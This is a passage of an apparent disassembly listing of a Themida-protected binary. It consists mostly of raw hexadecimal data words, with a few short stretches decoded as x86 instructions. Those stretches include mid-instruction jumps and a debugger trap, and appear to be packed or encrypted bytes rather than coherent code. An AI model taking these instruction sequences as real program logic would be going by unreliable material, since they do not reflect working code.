		dd 0CD5759D5h, 6651923h, 1B828A20h, 1CC888CCh, 0D2D40E4Fh
		dd 9540FC00h, 54DA783Fh, 35FED0E0h, 0F1DCD9h, 0BF3F5618h
		dd 4014C2CBh, 802A4Fh, 5F7E1E3Ah, 7B2DBE1h, 3E350EFCh
		dd 83852Dh, 131C7308h, 7A04DE2Bh, 39B74053h, 5C50E8CBh
		dd 3D7A1484h, 3B8988A9h, 9C80AC89h, 0F041EF0Dh,	0B3A6E100h
		dd 563783DBh, 1A050C20h, 0BE18E551h, 1669B105h,	20903CFEh
		dd 72B0D3Bh, 0FBACB622h, 0C673C01Ch, 567EEF6Ch,	0B000BCECh
		dd 4F5FCD1Fh, 0CC0C34h,	383CD629h, 3DFE82FDh, 0BBC2058h
		dd 186BC023h, 0A0D8410h, 0B486FC7Ah, 89C0EAC4h,	1C81DFD5h
		dd 1F91D23h, 44629593h,	2240D613h, 43111C3Ch, 0C7D80420h
		dd 61947318h, 209B1765h, 4F00C560h, 22D13EF9h, 0AF36B8h
		dd 0F1FB4D4Ah, 7BCD565Ch, 0E8C07A00h, 0D9A72151h, 691A03BBh
		dd 0FA11967Eh, 384086E2h, 8A50F0FEh, 0B000778Ch, 95D4372Fh
		dd 2E6EA42h, 240EE382h,	5CE91279h, 0A2584783h, 40464227h
		dd 4903Eh, 1BBC775Ah, 812866h, 67E842FDh, 3C98DDABh, 72C6902h
		dd 1174024h, 0E0562A87h, 2D0F1B92h, 0E9ABF8B9h,	0E6B8943Bh
		dd 1852609Ah, 77BB94E4h, 70C0A400h, 8225CC20h, 0C78B1E8Eh
		dd 0D614C009h, 0FC1BCCEh, 0C48C789Ah, 0C7247813h, 0D480E840h
		dd 0D88E8Dh, 1A38AFC3h,	239C79C0h, 542968C2h, 0C4946042h
		dd 215E81B5h, 1F65D088h, 402F5F12h, 96297C00h, 6C56024h
		dd 97DF0A91h, 4D494051h, 2B490E0h, 427F8404h, 0C80C8D94h
		dd 6247F408h, 89EE8CDh,	75793400h, 0A432F7FAh, 0B8C3A109h
		dd 0FDD04002h, 516398E8h, 0D63F3509h, 0A51C3819h, 0B8A16037h
		dd 20D8A30Eh, 2BA90B9h,	0D4D5E1ECh, 0D9AC68D3h,	0DFDFF9E9h
		dd 0F14DF05Ah, 0C74DF841h, 301ABD01h, 34C6478h,	0F1752464h
		dd 0B03BDE00h, 13E75CDBh, 319542BCh, 350D8E0h, 0EE7826B0h
		dd 0A0642618h, 9B8BE8DCh, 0A8230674h, 0D6613038h, 0ADD22498h
		dd 5C8ED060h, 1E28E431h, 83C4D70h, 3DDA2181h, 8DF1BCDFh
		dd 28F5EE79h, 885D460h,	0E4779B5Ah, 794E5E01h, 0B4424705h
		dd 98104E2Bh, 7B18C4CFh, 1614A6CDh, 6E0A29D6h, 9780F07Ch
		dd 1AF89C9h, 7A0F2424h,	4EA08090h, 56E77E3Fh, 0EC822E04h
		dd 0D6C3FF73h, 0F138587Dh, 0C0330C65h, 0AB3244D0h, 0DC60E405h
		dd 0F8400AFEh, 2DAC4CAh, 0E878C94Fh, 0EA2AC003h, 987A8833h
		dd 0DB6DD026h, 0FC420081h, 0DFB1A393h, 2B4D9223h, 0BCDA0A2Ch
		dd 4C2C88AAh, 8AD75F07h, 9C61D90h, 1AD10F4Ah, 0DD7DD8F9h
		dd 0A7D9C235h, 84994156h, 63BC42C7h, 0D460C662h, 489476DAh
		dd 0E9C32900h, 0E2FFE57Ch, 38527766h, 1B7048FAh, 0A04EC81h
		dd 7A2EB287h, 8302BF02h, 1F3B30Ah, 0DFC38138h, 0D862C401h
		dd 31EDAEBh, 687B6875h,	0E906081Ch, 3B3C0B20h, 0D298CAFEh
		dd 515C0E09h, 5940B930h, 0A56F901h, 0C681E689h,	0EE830E41h
		dd 243487C1h, 0D02CFD5Ch, 0BD015550h, 20BE442Dh, 4F86C31h
		dd 5081E25Dh, 70500CF5h, 0C82EA0B8h, 0FF283089h, 4EE95848h
		dd 5BC4DB60h, 0E667F580h, 30D37CEDh, 8B321B90h,	45F0240Ch
		dd 58109763h, 0D31CD366h, 0C6B6DB57h, 26896016h, 0BB22CAB9h
		dd 7810F3Fh, 15AD4257h,	1F91C160h, 1050FF2h, 9CC659CFh
		dd 893476EAh, 735F20E1h, 375C4A0h, 10BD0A57h, 86EA010Fh
		dd 763ED56Eh, 0E2DB305Fh, 2BB4B90Ch, 2946230Ch,	401364C8h
		dd 810F66D7h, 462FF4E6h, 1453338Bh, 0F8706D6Fh,	460DAE11h
		dd 728476B7h, 3368E68Bh, 3CED6003h, 7E1854DBh, 88141527h
		dd 6A79EEDEh, 3F1D3F2Eh, 0B721E698h, 87655AD7h,	0BE265C38h
		dd 0A6895027h, 0AB8872E9h, 571E0089h, 30F82BFh,	0F75C8145h
		dd 6B6F1D11h, 0EF0DBB6Ch, 0E7F8A901h, 9E44007Fh, 0E9D78773h
		dd 48CDF4BCh, 1406D046h, 8000F3AAh, 0CFE1D5C2h,	66A9EAABh
		dd 9467FC50h, 0FCC551C0h, 15FB87D0h, 8B5DEE01h,	319C338Ch
		dd 5C0D06D8h, 0C7681557h, 14608D18h, 1B6367BEh
		db 48h
; ---------------------------------------------------------------------------


loc_4E6109:				; CODE XREF: Themida_:004E6180j
		jle	short near ptr loc_4E6175+1
		or	[ecx+802E89Ch],	ebx
		test	eax, 0C49749FCh
		inc	eax
		sub	[esi+53h], esp
		push	ecx
		cmp	dh, [ecx+3BB70357h]
		xor	bh, 2Bh
		enter	55B5h, 8
		cmp	al, 0EFh
		pop	ecx
		xchg	eax, edx
		mov	esi, 0BEB6CD00h
		jmp	near ptr 3B1C9199h
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0B778DACFh, 2B0305EEh, 7701C3FEh, 4C5AFA20h,	0BD98A8E0h
		dd 0C10724Ch, 7DD7E97Fh, 9BA1311Ah, 0D5A2F6C4h,	0DD845BD9h
		dd 40FE1112h, 4040D791h, 37C10FBAh, 11574FB3h, 0D261F80Ch
; ---------------------------------------------------------------------------
		push	ebp


loc_4E6175:				; CODE XREF: Themida_:loc_4E6109j
		mov	ebp, esp
		inc	esp
		mov	eax, ds:0ED933B1Dh
		xor	[ecx], esp
		int	3		; Trap to Debugger
		jnb	short loc_4E6109
		mov	ebx, 925DEB89h
		retn	84D1h
; ---------------------------------------------------------------------------
		dw 5189h
		dd 0F751849Eh, 0EF7F86BDh, 0BF85AEDh, 486E92DEh, 0A698C859h
		dd 40D017F0h, 9184D143h, 0E64B44D1h, 0C0032341h, 0F5F2C1AEh
		dd 0C5870834h, 1815C70h, 3003C69Eh, 1603DF51h, 553D6E6Ah
		dd 220E6801h, 0F9E9890Ah, 0CBEE082Fh, 0FC154DEFh, 2ADCC207h
		dd 0DAAFFF10h, 3008EA0Ah, 0AE74131Ch, 0ED25B71h, 1487B321h
		dd 0C270C222h, 25E99C6Eh, 96029DA9h, 536A3189h,	0C15EC420h
		dd 26EB206Fh, 0B3BB00B1h, 0E97E175Ch, 0F7E5CD52h, 3C97245Ch
		dd 3B217F1Eh, 5C10DD98h, 160A0011h, 295DE801h, 0E2012DD8h
		dd 0E9662E36h, 1023345Eh, 0E481D179h, 0CC58B848h, 48617902h
		dd 0E741D8F7h, 12A700Ch, 0A209D990h, 8F033564h,	6F2E23DFh
		dd 0FEFEB4Eh, 84E9F868h, 95B35EBAh, 0A87CFBD9h,	0E300AB0Ah
		dd 520DD310h, 4C4C99BAh, 0CF3CC792h, 400FBE40h,	44138503h
		dd 3B908DFCh, 0CB06E3C1h, 0A75ED774h, 440E2112h, 5B01364Bh
		dd 441107Ch, 525BCE40h,	387448FFh, 935E5486h, 4FD1EA05h
		dd 0D3070D1Fh, 10E00E53h, 0FE04E2C1h, 0E4D31BF2h, 80ACD8AEh
		dd 347EC3C2h, 0C9275424h, 717F84E9h, 382521Eh, 16F968F0h
		dd 17911D10h, 0F614543Bh, 5901D7E3h, 53E28952h,	6D0863BBh
		dd 4CE696ACh, 43E93E18h, 0DF804D59h, 81591E5Ah,	7C62E100h
		dd 29E96376h, 6137D490h, 0B3685C0Eh, 0E9193153h, 18B89E8h
		dd 213A82F0h, 48F0341h,	8E132010h, 0CCEDD11Fh, 0C10E2C7Ah
		dd 0EF88E750h, 0BB21293Ah, 27C70140h, 474F8E56h, 111012CBh
		dd 89000194h, 223C8BF9h, 0D974861h, 28561839h, 2CF31420h
		dd 439FB6E5h, 66001004h, 0F681DEF7h, 0A120400Ch, 8D64789Ch
		dd 38A985Eh, 67B55542h,	6B8C15Bh, 154D6968h, 171F8088h
		dd 20E91DDDh, 681A448Ch, 8251288h, 0F520B9A5h, 6815B084h
		dd 84912183h, 5305383Ch, 0C3C60854h, 1A0C8346h,	334D0968h
		dd 452CC58Ah, 0A2A2555Bh, 43E0E90Ch, 0BE7E5626h, 7A78120Ch
		dd 791BE04Eh, 0E9741E1Ch, 40F9A64Bh, 792B2F6Ch,	0E6C15D0Ch
		dd 3A1C2A03h, 1161057h,	5EB449F3h, 7489A332h, 59532D11h
		dd 0FE686145h, 689BD45h, 0C1D49BE3h, 108DE846h,	0FAE4D387h
		dd 0CE3A140h, 471F6F14h, 0F9CC0282h, 4031286Ah,	59FAE951h
		dd 0E014F0FBh, 0E8CE9105h, 47B525D3h, 2BC58856h, 64E97E01h
		dd 0D82B805Eh, 0F6C0FE5Bh, 673BF8D0h, 62AC4ED6h, 0C1007018h
		dd 0B84802E0h, 5102B269h, 6609E18Bh, 51E96B89h,	12CC3D42h
		dd 95AC0CC0h, 50565831h, 0BC29D5Ah, 50D64692h, 0A81CBD8Fh
		dd 2C8B2908h, 77FF8F2Eh, 0C849BB35h, 65090693h,	0C7A8FFDBh
		dd 0E43C78D9h, 2C11586Eh, 8387C650h, 0A68402C0h, 0F6664D0h
		dd 4CC874B6h, 2A10FB51h, 82B00ACEh, 243DA4C0h, 0C2470958h
		dd 0FCBC8489h, 3CC30F81h, 9C206A31h, 0A816991Bh, 2931042Fh
		dd 9046064Eh, 6EECCEA1h, 8F984770h, 2905CFDCh, 82D087F5h
		dd 7A52EFE6h, 0CC3390DDh, 0F252081Eh, 86395E4Ch, 286941F9h
		dd 82838BF5h, 9C3678Fh,	72809E9h, 5F1B630Bh, 4CF72D01h
		dd 4F74C226h, 316F230h,	0C11AEF78h, 0D2FA02EAh,	0FD7AA84h
		dd 6586F29h, 593E3FD3h,	9ED8F9ADh, 2C0B0BBAh, 21511E7Ch
		dd 25135F50h, 483C72FFh, 0E103A0E9h, 607454BCh,	6959C0B7h
		dd 416327B8h, 88CB140Eh, 18C80156h, 5E7F79E9h, 0E2E4102Ch
		dd 849AD0F2h, 70C10CABh, 73FA233Dh, 74DE37Ah, 23502E5Ch
		dd 3C8BBA9Fh, 0C868216h, 9D86C34h, 26683533h, 0B8998081h
		dd 1FA9CF86h, 54F492F0h, 149D95Ah, 0E9535A76h, 0AC0958EAh
		dd 7DFB8042h, 80469828h, 2C790BE7h, 1FCD151Bh, 1080105h
		dd 0D15FFE29h, 8DF4BF1h, 616DC68h, 0A563FE9h, 7D265C76h
		dd 1C9305EEh, 88646521h, 61D36320h, 0AE681CCCh,	0D3A9367Ch
		dd 49B25F2Dh, 0E09ED5Eh, 0D365075Bh, 48550C9Ch,	50247539h
		dd 8D1A6B7h, 0C1874B48h, 5B10227Fh, 4C59CE89h, 53A904Eh
		dd 0D43AE909h, 2D8F659Ah, 363B6203h, 0DD08630h,	4BE9D101h
		dd 726717D9h, 60665840h, 0C63442D3h, 0FDC24D81h, 0A7507432h
		dd 0F95317ECh, 0E8AA0D2Eh, 0E9AA600Dh, 7910364Bh, 0D4F02477h
		dd 0E5F3898Fh, 0BD44879Dh, 259D2DBCh, 88413236h, 1C885028h
		dd 686C139h, 1C838BE9h,	1A445F4Ch, 70E1AAEh, 2B6084FCh
		dd 13D7F776h, 0B04EFC1h, 42100631h, 0F8007995h,	0C622BF3Fh
		dd 0D295924h, 0D874E9F7h, 0CBE2D4B8h, 64600AD3h, 0FC52F1F7h
		dd 6790514Eh, 7482D314h, 0E8C10110h, 329E4005h,	740F126Ah
		dd 475AD031h, 8B74E06Eh, 9349186h, 76C00F55h, 5482FA41h
		dd 0E54A84B4h, 44195705h, 0E99D9166h, 53C15261h, 3C42C08Eh
		dd 0F90019D3h, 0EC3B2E75h, 302C7AEDh, 9D1853BFh, 8D17BE74h
		dd 35277E9h, 0DEEC1210h, 0A999FCAAh, 141064E9h,	1B02B951h
		dd 0BAE9CE04h, 0E014978Bh, 0B35324B5h, 0C3804704h, 0C8C7883Eh
		dd 6859EA00h, 0C4CADh, 0EBB753C0h, 0E913D6B5h, 36491ECFh
		dd 0A0EF093Bh, 22C6685Dh, 0D0234CB6h, 124FCD1Ch, 4344141h
		dd 2C087A0Bh, 0D5B903B4h, 98278D29h, 9EAFE9D9h,	0D45E14DBh
		dd 0BBC0FC39h, 35621A09h, 0EA290064h, 9F94A1Eh,	20E9D831h
		dd 665B0240h, 0A3B0501Eh, 589DC55Dh, 807DB4C0h,	7928E3F4h
		dd 0F1FE7DE5h, 0E69923FDh, 0F9F5068Ch, 5097EFEBh, 0F69BB652h
		dd 0CD34DAC4h, 9A911FD4h, 0AC03038Dh, 5E212633h, 6A2FE1EDh
		dd 0E604F873h, 0C0982EA4h, 26C0F665h, 7A68CA2Ch, 0D2100A0Eh
		dd 2BBD7500h, 1C0E2962h, 0BFF5314Dh, 38B808E9h,	58808F45h
		dd 0B79904Bh, 0ADBFE005h, 3C5E9F87h, 8CE3F8FCh,	96CAB5A4h
		dd 70287F20h, 0C3D2CF5Ah, 0E9B46013h, 0E4A90D44h, 80F220E7h
		dd 8DDC0ED2h, 0DCBB0053h, 0E9404373h, 27C9913Ch, 0B1EA9424h
		dd 1C6B0ACDh, 0AE835125h, 63A4E00Ch, 27D3005h, 0B484CF94h
		dd 84C30814h, 92E26593h, 33320691h, 0CAA3314Ch,	0B30E6984h
		dd 47D18851h, 0E25759CFh, 805BFC70h, 15548ECh, 0E6087B09h
		dd 4432904h, 44C73C31h,	54BF1638h, 0B303AD5Dh, 487A8070h
		dd 7F054088h, 67104405h, 8D1DD0F7h, 3B1E0CC4h, 64B711C0h
		dd 5C21E443h, 61B7E8D3h, 606C8CE3h, 854DE966h, 0D3F70F3Ah
		dd 0E1931C51h, 1EA70554h, 0B889DF04h, 0ED714E88h, 265FD2FCh
		dd 22E13A65h, 3C0F96B5h, 0B577B914h, 3EEC1B0h, 0C0B9FEFEh
		dd 0C405F100h, 25019030h, 0FF0959CBh, 173E0204h, 2993B756h
		dd 112BCB8h, 603CF91Bh,	7546812Ah, 31A1AF34h, 4C405F61h
		dd 90852296h, 2C60EEEh,	4E72D71Fh, 0BE782952h, 5C3C4198h
		dd 0D4688B31h, 1825B00Ah, 2D1F1911h, 0CF819621h, 580345A8h
		dd 0A4550098h, 0EC072483h, 28F48FDh, 3C66DF8Bh,	1C7713C3h
		dd 0D3BBC29Dh, 2EE99C00h, 4904B483h, 0C0491E4Ch, 0D12916EAh
		dd 4CC2CE01h, 31F578AAh, 0B45C8A28h, 4D60159h, 0AC8B32Eh
		dd 0BE9B27BBh, 4BF45BDDh, 7C165D39h, 0F625469Ah, 0CCA207F1h
		dd 0ED056843h, 19AC1489h, 1D380CE6h, 2B1EC255h,	8985CBE8h
		dd 0C7005AD1h, 73673444h, 33883E2Dh, 0ABAA0927h, 0BF126Ch
		dd 683F02A7h, 0D4B11CE7h, 3EE635A4h, 4534AB9h, 42CA105h
		dd 0B8E3C168h, 0D121EF51h, 0E9EED157h, 0BDE98008h, 483CE858h
		dd 5A3AD545h, 894F1B0Fh, 75055D40h, 213B591Eh, 3FF3148h
		dd 9B3488E9h, 68E5925Ah, 12AE75BBh, 66B583CAh, 30E6AF4Ch
		dd 7BF1276h, 45F81E3Ch,	0ECC5DC4Fh, 89D15273h, 275EE9E1h
		dd 1314D78Ah, 716A86h
		dd 7BE76C17h, 83904C01h, 4FE9590Ch, 0CED5314h, 7EFF425Dh
		dd 111A87EEh, 1EC2D54h,	4CB16868h, 86F2954Dh, 55C5DE3h
		dd 58986F47h, 0F7A9C183h, 0C1049DD9h, 0F1019FE8h, 0B92F23DEh
		dd 6370CD31h, 7B5D5CEFh, 1668471Fh, 0E90DC83Ch,	483A28FFh
		dd 75260144h, 43057EA4h, 0B07D12D4h, 0B5736E46h, 0FB6B26C1h
		dd 30133077h, 7ABE8A41h, 91A7B6A8h, 6CFD88BAh, 4C02BE01h
		dd 66622CD2h, 0CB52EC04h, 528C063h, 41443AE9h, 50310FC6h
		dd 5D6B1020h, 695CF841h, 0D35F4AE7h, 1043578Bh,	4C116A2Ah
		dd 44108673h, 1A4D242Ah, 19A9EE80h, 0A0EA09C9h,	90DAF7B6h
		dd 7118A679h, 602D811Ah, 292CA318h, 9703A55Ah, 718632Bh
		dd 0A22CEA46h, 0DDE9C232h, 0FE2C23D8h, 6C3BEECBh, 4094FE06h
		dd 1285F7Ch, 0ED2CCCC5h, 3D45F302h, 0B8BEFB93h,	2C4F2060h
		dd 5B8F729h, 18C781DFh,	63E20C0Bh, 8B0E2609h, 83FDB91Ch
		dd 3C543EFFh, 0FE43275Bh, 17C8AF7h, 0E9505D54h,	6433750Ch
		dd 7A891488h, 6039A2C6h, 0C1B56205h, 4ED85B02h,	74913C27h
		dd 72DD014h, 0E914A075h, 13E9BE5Bh, 2741EF7h, 21031397h
		dd 0A1284040h, 0AA013C3Dh, 0A198B29Fh, 0EB1C26Bh, 3129B67Ch
		dd 0B42C1CEDh, 6F0F7B77h, 0B7EEAEB8h, 0D80F6FCEh, 1A783F9Dh
		dd 7CE0F4E9h, 3B8CCB0Eh, 0CB3F8036h, 4ED9163Dh,	2090D5C9h
		dd 0EF4C7381h, 22E3C450h, 0C99F520Ah, 0BDD93362h, 0FEBF5780h
		dd 0B12DE56h, 4703EFC1h, 15D1E900h, 918780Fh, 0ED5C58C7h
		dd 7A5F1EDFh, 9E6B3DE9h, 0B4C9D6C3h, 12F7D840h,	66416302h
		dd 435FFD21h, 7BD6172Fh, 6806809Bh, 0D7B46331h,	0EFC9906Bh
		dd 81337E9h, 219EC00Eh,	21F94473h, 0D090816Eh, 40368717h
		dd 39C12A70h, 0E88103E0h, 244B0D07h, 328641EDh,	70C1622Fh
		dd 4F095FC2h, 59DC491Ch, 0E959F636h, 3181672Dh,	33371968h
		dd 51F37D72h, 0CAAD66ADh, 9A599D50h, 7655862h, 12FC4CA0h
		dd 65D3A6B4h, 0C2D08359h, 0A59582Bh, 0EF4E37BAh, 41B217C9h
		dd 51685C98h, 0D22D6307h, 1BE9A9C1h, 87122678h,	0FF88210Ch
		dd 3410F530h, 0D5D059A2h, 65C99F03h, 8ED9A261h,	821BE637h
		dd 6D1AA27Ch, 0AE880687h, 0F7192F2Ch, 0AA80E96Fh, 21E0804h
		dd 7A82BC12h, 13818221h, 0B6801E5h, 8A732812h, 0E961E855h
		dd 26ACD972h, 0A1112577h, 5EA99AF7h, 0E9F7A16Dh, 0DC5505E8h
		dd 8A84803h, 1EC2AFECh,	8179C886h, 7C1FFCF2h, 0EAC10FF4h
		dd 5D4206h, 0CC246C6Ah,	25F3ABE9h, 686E408Ch, 9FDB27C5h
		dd 40E09A10h, 2C1ACD0Bh, 12855E5Ch, 9DDFA2D1h, 6244C3C1h
		dd 0C38174E9h, 1D76D6BAh, 69848345h, 593C4Bh, 522D8D7Ch
		dd 5AD329E1h, 1B95314Ch, 0D336E72Ch, 0F785F7FEh, 50582391h
		dd 8C9F956Dh, 0E1A31147h, 53405E90h, 0BD9AA05Fh, 35D3001Fh
		dd 38BCEE81h, 21B028C1h, 8777F000h, 0E9F731A1h,	8A4C4A54h
		dd 0B8F06089h, 1125D14h, 9935405Fh, 205EC738h, 4C01059Eh
		dd 0E939BB7Ch, 75AF58D3h, 2033D699h, 6D83119h, 54B4E90Dh
		dd 98F8E269h, 60634865h, 2C0B0DAh, 83B058B1h, 77DA6816h
		dd 1BCBC261h, 9C028355h, 62984A28h, 783E8487h, 0EB4BB00h
		dd 8100775Fh, 8C90FEF3h, 12DF294Ch, 9C3DB0E9h, 67762CF1h
		dd 31DC4Ch, 0FE65B151h,	73F180C1h, 0E130EBDBh, 5BCA402Dh
		dd 88312690h, 0D9010EEFh, 82833F64h, 0E405AAFBh, 0BC06FD2Dh
		dd 0C90DE0EBh, 5E5A5B32h, 522137C9h, 0C34820DDh, 83A2B83Eh
		dd 0C201DACEh, 2674EF58h, 8B180AA4h, 0C6824440h, 4C097D1Fh
		dd 7E249h, 59B23C2Dh, 0A6559451h, 884F076Fh, 0EEE1F053h
		dd 3B4CFC25h, 373F0086h, 45052680h, 72A30319h, 49E32E2Dh
		dd 80DA219Ah, 0DF2E0772h, 6ACF33DAh, 5180F992h,	8F3BD768h
		dd 4679010h, 471272C9h,	0C05834Ah, 8E42CFA9h, 8658F0Ch
		dd 4C0A0F1Dh, 0CD89BA40h, 0C4603EE9h, 962D5D5Eh, 33382460h
		dd 4B100152h, 0DA292BECh, 8046042h, 5E01C258h, 0D376F2CEh
		dd 0C2A3A5A8h, 97FC6482h, 4DB1A8Ah, 0A8600346h,	1465021Eh
		dd 81491CDAh, 222B78Ch,	9CD79247h, 112006Eh, 905559CEh
		dd 4FA620C0h, 5C0931B6h, 445BA49h, 5402C9E0h, 0BAE0565Bh
		dd 40261CA8h, 0F3000672h, 0F7208D61h, 0EBC128D3h, 1D7DF4D6h
		dd 0BC55DF5Eh, 9659EC86h, 80945E48h, 2E7B925h, 2C253222h
		dd 5D441744h, 34E9275Ch, 0F7662901h, 0ED8C20DFh, 0C0E77948h
		dd 0EA80D6B0h, 9284FABDh, 79B60264h, 5166CEFEh,	34D2B141h
		dd 5B59DD3Ch, 0CAB800B8h, 3148D761h, 0C80995F8h, 832F4314h
		dd 0E9D890C0h, 51FB44Ah, 202E1C1h, 0B44FE8ABh, 29F1FCC0h
		dd 0DB096892h, 8274F277h, 9E002A4h, 1497037Ah, 79E9171Bh
		dd 58D47121h, 1AA12218h, 6740C1A7h, 4D9E0884h, 1BC7253Fh
		dd 5C4FB415h, 0F8286661h, 8FE9D02Ch, 0D331135Ch, 5629BD80h
		dd 511750C9h, 6D7E30E9h, 28B2BE26h, 180F2D3Dh, 0E287D53Fh
		dd 2C2018E7h, 5F5A0C4Bh, 1162452Ah, 6779BA04h, 3181597Eh
		dd 10218B7h, 50D28A40h,	15FA05BAh, 7DBB8CA8h, 36244D01h
		dd 5F5BDE01h, 0C16425F9h, 68560255h, 4EE53349h,	0A187D4F0h
		dd 2EF7A609h, 0A77C4B6h, 0BC30BFCDh, 0F16B0E35h, 0AB80BB03h
		dd 0EB2982C1h, 5C055D73h, 595B0824h, 6BA27F12h,	402A0192h
		dd 6026083Ah, 0DC54517h, 9709C301h, 9423ABECh, 88238CDAh
		dd 0D7365158h, 50E82C0Ah, 25BFE910h, 519E3120h,	0D7494028h
		dd 0B2005427h, 2D81034Fh, 470470DBh, 2468578Eh,	8BF37Eh
		dd 15AB360Dh, 0E597DBFh, 0CF2954A9h, 61E900B2h,	31387F08h
		dd 0E7FCDF60h, 769A6A78h, 9EF70747h, 0C06BC609h, 246594EFh
		dd 1A4F1D30h, 5021BDFDh, 0F638C650h, 1093DE1h, 8ED50FEh
		dd 885AB85Fh, 8075077Dh, 0DA45A54h, 280E19B0h, 0C0056F3Dh
		dd 8E0384C2h, 0FA013251h, 0B8003736h, 507753C1h, 314CEC57h
		dd 0CDB24608h, 5F79E8C2h, 61C40CC3h, 188FE4Ah, 89C3E76h
		dd 68CF26E9h, 0B56802C9h, 8829404Ah, 35E0DAB9h,	9115A65h
		dd 48D8F73Ch, 9CF0B080h, 314FBB59h, 26F23581h, 0D91B292Eh
		dd 560502C0h, 0A4EFC8BFh, 3CD24267h, 0BFBBEC48h, 0B0FB0980h
		dd 0B909A846h, 572705D3h, 84D1F72Dh, 127DB286h,	0F7297DEBh
		dd 7761F449h, 0F7281035h, 0F669D2C9h, 746FA484h, 0B0085397h
		dd 0F15D127Bh, 49C0E4B4h, 5AF13D0h, 7E1E5817h, 123DEF00h
		dd 2C450F93h, 99EEDC1h,	12A0401Bh, 0B1969CCh, 0F789571Ch
		dd 5E5FFA81h, 0D460D529h, 933FEEDh, 0EB316E75h,	524A1758h
		dd 0C2838A9Ch, 4470E90Ch, 6F75F4A0h, 4000312Fh,	1C9ACC05h
		dd 0B8C6014Ah, 0A4D658A2h, 0FBA50076h, 69FDB8EAh, 310B4E68h
		dd 0AB93E9F0h, 29B999FBh, 8E0E62F2h, 5F121C50h,	0B3301DCDh
		dd 0BEF0883Ch, 0F2EEB284h, 0FBBA457h, 720D3CFAh, 0F576137Fh
		dd 5B90F751h, 0ACEFA34Eh, 74529EE2h, 0C95AE2C2h, 0BA628554h
		dd 4D545156h, 0BEF9F348h, 0EE1F9382h, 0F6605FD7h, 0E74A2F6Ah
		dd 0D0AF8640h, 2175F79Fh, 0C785E779h, 6C4BE158h, 353ED051h
		dd 0D371F178h, 49592827h, 12FA02h, 46B35351h, 0CF38007h
		dd 0C352D3F6h, 6FF8600Bh, 50A0A8EBh, 28F13EB0h,	8B906DCCh
		dd 0B60F0207h, 8901A9C0h, 9437E987h, 22C05083h,	0C92BF830h
		dd 0D689010Bh, 7487A631h, 0E85C3BD7h, 72C2A429h, 0BFE82C1Bh
		dd 225D42C7h, 0B45FFB83h, 0E7C172C0h, 3EAFA003h, 44259C23h
		dd 54ADD25Ch, 3F2C1641h
		dd 0D3451231h, 0B4B3242Fh, 0A8B44307h, 8842B102h, 561060CAh
		dd 0AFC28825h, 17871F12h, 8323B904h, 0ADC1F70Ch, 80557248h
		dd 4A26312h, 0A0E573C1h, 134FEDC7h, 0D0091DE6h,	322A3918h
		dd 454D6F16h, 0F3748B0Ch, 3F6C41D9h, 10F5D10Bh,	0B9012E85h
		dd 0A054B017h, 3B69FD0Bh, 0C26650A4h, 0B6EB80C9h, 4052D687h
		dd 3E6C0C7h, 146F5AC8h,	19DDE15Dh, 0BB315033h, 618C4B06h
		dd 305C6A95h, 0CF0F7035h, 99A94282h, 0B425CB4Fh, 2B3EA621h
		dd 0F3010F61h, 5246548Bh, 0C9231006h, 2AABCA68h, 10A6EB4Ah
		dd 611B0C91h, 0EEEEE551h, 0C36B7B60h, 5890329Ch, 0A669E812h
		dd 21290141h, 1ECDE09Ch, 212559BAh, 418B24C8h, 0E364BFB8h
		dd 8636885Ch, 55847B14h, 50AD04E9h, 0A6102385h,	4BD60B12h
		dd 8584D368h, 568042Dh,	32A2EBD7h, 472F5EC2h, 4262E25Ch
		dd 2282E19Ah, 359DB08h,	0B630688Fh, 0D8E9F530h,	1DDD276h
		dd 0C60DFA21h, 3C83F113h, 0F17A7C4Dh, 28784213h, 4BCFDA0Eh
		dd 0D6BB82FEh, 6858003Ch, 97C852F2h, 0C98187C4h, 1B1CB2C7h
		dd 0EC5051E2h, 82692D91h, 0E84A0146h, 3D75B07Bh, 0EF26C588h
		dd 7BB97A4h, 0A447EC0Ch, 0B517D29Fh, 60EF9941h,	1FE8805Ah
		dd 0C1B72095h, 0F6E12834h, 4326EBE9h, 6C9A2778h, 51E0CD99h
		dd 68C82997h, 0F1329B66h, 8B500C46h, 306350F5h,	540C7453h
		dd 0B2C6470h, 7F02564Dh, 627B02E3h, 8B6D5EEBh, 0BB146649h
		dd 3098B5A0h, 0DE394992h, 45F0A75Bh, 7DE90924h,	0F75C28FAh
		dd 228206A1h, 50C73E8h,	62FD5470h, 0E9A3615Eh, 39012FB7h
		dd 19040B2Ch, 0D8D39862h, 0DDCC9127h, 0B933EC31h, 481903Bh
		dd 15E461DDh, 5F8D0990h, 0E97613D3h, 6044C5C3h,	0B26852A8h
		dd 51480BB5h, 0CEA24244h, 0CB0EC708h, 4293FE28h, 473832A1h
		dd 5B36FA10h, 22D438Ch,	699560D3h, 0B258D801h, 3A3E918h
		dd 58C367h, 8108E3C1h, 0B7D03FEBh, 362D8D03h, 3E6AB221h
		dd 2049E936h, 14236802h, 0FDE0195Ah, 12132CCBh,	3F083108h
		dd 0A5041E24h, 0BD4BC70Fh, 6ABB1220h, 64098A59h, 643DBF7h
		dd 80136DFDh, 0CA86E9E1h, 0EF55EF7h, 880F94C5h,	0D2CF06D7h
		dd 595B46D0h, 5D30C987h, 4DA424h, 6F6E942Dh, 5F8290Bh
		dd 685F07A0h, 911FA125h, 23605445h, 0E0DF4944h,	7952E296h
		dd 537D477Bh, 1149BB1Eh, 0BE3D562Ch, 7FABDD5Bh,	7DAF733h
		dd 93BFE857h, 7181FE1Bh, 0A5161CFh, 0A87CEDE7h,	0A804324Dh
		dd 646DE905h, 0C00E59A7h, 27706E5h, 0BCC580E8h,	7BD08289h
		dd 91209EAEh, 0A621507Eh, 8E22F534h, 4E0E7427h,	0ABA54A6h
		dd 5BD83003h, 0DA511504h, 80F5D8FCh, 981D2C99h,	3E53731Fh
		dd 718285BAh, 5AD389F6h, 6CB61740h, 90A4B2Eh, 0AD704518h
		dd 207F3883h, 8C840F06h, 0C6064DCDh, 2B8B5942h,	7832F00Ch
		dd 1F90B8A6h, 9B1620C8h, 13F51801h, 0C091B208h,	30D6648Fh
		dd 676C2AE9h, 29CE068Fh, 3E1B2F7Dh, 0A5F0940Fh,	30F24910h
		dd 0B0C20192h, 1E8609A7h, 18012AC1h, 0F61451B9h, 348A361h
		dd 0DCA4B250h, 12F2486h, 1EF8D9C5h, 0DDF4DAF6h,	504ED001h
		dd 11BE0145h, 90C4429h,	0C77894E9h, 0C3CD544Eh,	73789EF1h
		dd 3D6E7355h, 2E063048h, 1275BE80h, 80418644h, 222ACE9Fh
